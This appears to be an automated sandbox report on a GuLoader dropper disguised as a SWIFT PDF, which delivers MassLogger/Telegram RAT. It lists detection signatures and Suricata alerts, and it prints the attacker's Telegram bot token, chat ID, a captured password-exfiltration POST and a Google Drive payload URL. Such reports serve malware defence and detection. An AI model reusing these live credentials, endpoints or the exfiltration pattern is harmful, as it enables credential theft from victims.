Edit tour

Windows Analysis Report
SWIFT091816-24_pdf.exe

Overview

General Information

Sample name:	SWIFT091816-24_pdf.exe
Analysis ID:	1575732
MD5:	397346c3391583257950cfe556f0a5e6
SHA1:	10db5f36ad73ec9757cc05e04aef346a5e486fd5
SHA256:	342df796e039d1c4b24525eabc4a9e98ce5ff399a4d9ca92dc10b2b87a84c120
Tags:	exeGuLoaderuser-julianmckein
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SWIFT091816-24_pdf.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe" MD5: 397346C3391583257950CFE556F0A5E6)

SWIFT091816-24_pdf.exe (PID: 7844 cmdline: "C:\Users\user\Desktop\SWIFT091816-24_pdf.exe" MD5: 397346C3391583257950CFE556F0A5E6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2465323286.0000000002B76000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000004.00000002.2936005396.0000000001816000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SWIFT091816-24_pdf.exe PID: 7844	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:05:51.900356+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49852	149.154.167.220	443	TCP
2024-12-16T09:05:55.509609+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49861	149.154.167.220	443	TCP
2024-12-16T09:05:59.009494+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49872	149.154.167.220	443	TCP
2024-12-16T09:06:02.572563+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49883	149.154.167.220	443	TCP
2024-12-16T09:06:06.332693+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49891	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:05:41.724171+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49826	193.122.6.168	80	TCP
2024-12-16T09:05:49.708588+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49826	193.122.6.168	80	TCP
2024-12-16T09:05:53.508834+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49858	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:05:33.778781+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49804	172.217.19.174	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1d7e8af6a03cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036255000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000361F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: SWIFT091816-24_pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003628A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000361F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.000000003631A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.00000000363F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/6
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/v
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2664991064.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2630610173.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2664991064.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B51000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2630610173.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=10KRNq80LmuGO2cUy9zDj3VUe6lGAr_tT&export=download
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2664991064.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2630610173.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000002.2940567004.0000000005B79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/h
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: SWIFT091816-24_pdf.exe, 00000004.00000002.2961833373.0000000036270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.orgf
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: SWIFT091816-24_pdf.exe, 00000004.00000003.2611982710.0000000005B87000.00000004.00000020.00020000.00000000.sdmp, SWIFT091816-24_pdf.exe, 00000004.00000003.2612028287.0000000005B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812

Source: unknown	HTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49852 version: TLS 1.2

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,LdrInitializeThunk,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,LdrInitializeThunk,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SWIFT091816-24_pdf.exe

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		4_2_004032A0

Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_00407041	4_2_00407041
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_0040686A	4_2_0040686A
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_00404B30	4_2_00404B30
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3600311B	4_2_3600311B
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_360027B9	4_2_360027B9
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_36004328	4_2_36004328
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_36008E0C	4_2_36008E0C
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38413318	4_2_38413318
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_384103AF	4_2_384103AF
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841CCA0	4_2_3841CCA0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841C638	4_2_3841C638
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38417848	4_2_38417848
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841F05A	4_2_3841F05A
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841B07F	4_2_3841B07F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841B930	4_2_3841B930
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841C1F2	4_2_3841C1F2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841DA89	4_2_3841DA89
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841E347	4_2_3841E347
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841EBF2	4_2_3841EBF2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841B4D8	4_2_3841B4D8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841CCA2	4_2_3841CCA2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841BDA2	4_2_3841BDA2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38417628	4_2_38417628
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841DEE1	4_2_3841DEE1
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_3841E79F	4_2_3841E79F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB29B8	4_2_38FB29B8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBA9B0	4_2_38FBA9B0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBA360	4_2_38FBA360
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBBDF0	4_2_38FBBDF0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB9D10	4_2_38FB9D10
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB96C8	4_2_38FB96C8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB8650	4_2_38FB8650
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB20F8	4_2_38FB20F8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB7070	4_2_38FB7070
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB7061	4_2_38FB7061
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB1858	4_2_38FB1858
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB184C	4_2_38FB184C
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB0040	4_2_38FB0040
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB4820	4_2_38FB4820
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB51F8	4_2_38FB51F8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBA9A0	4_2_38FBA9A0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBF136	4_2_38FBF136
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB2108	4_2_38FB2108
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB5AB8	4_2_38FB5AB8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB5AA8	4_2_38FB5AA8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBBA97	4_2_38FBBA97
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB3268	4_2_38FB3268
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB3258	4_2_38FB3258
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB5208	4_2_38FB5208
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB13F0	4_2_38FB13F0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB43C8	4_2_38FB43C8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB6368	4_2_38FB6368
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB6358	4_2_38FB6358
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBA352	4_2_38FBA352
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB7B4F	4_2_38FB7B4F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB3B18	4_2_38FB3B18
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB3B08	4_2_38FB3B08
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB74C8	4_2_38FB74C8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB74B8	4_2_38FB74B8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB1CB0	4_2_38FB1CB0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB1CA0	4_2_38FB1CA0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB6C18	4_2_38FB6C18
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB6C09	4_2_38FB6C09
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB1400	4_2_38FB1400
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBBDBC	4_2_38FBBDBC
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB4DB2	4_2_38FB4DB2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB4DB0	4_2_38FB4DB0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB2560	4_2_38FB2560
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB255F	4_2_38FB255F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB9D00	4_2_38FB9D00
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB36C2	4_2_38FB36C2
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB36C0	4_2_38FB36C0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB96B8	4_2_38FB96B8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB5660	4_2_38FB5660
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB565F	4_2_38FB565F
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB5650	4_2_38FB5650
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB8640	4_2_38FB8640
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB2E10	4_2_38FB2E10
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB2E00	4_2_38FB2E00
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBAFF8	4_2_38FBAFF8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FBAFF6	4_2_38FBAFF6
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB67C0	4_2_38FB67C0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB67B0	4_2_38FB67B0
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB0FA8	4_2_38FB0FA8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB0F98	4_2_38FB0F98
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB3F72	4_2_38FB3F72
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB3F70	4_2_38FB3F70
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_38FB5F10	4_2_38FB5F10
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_394EE7C8	4_2_394EE7C8
Source: C:\Users\user\Desktop\SWIFT091816-24_pdf.exe	Code function: 4_2_394ED6C1	4_2_394ED6C1
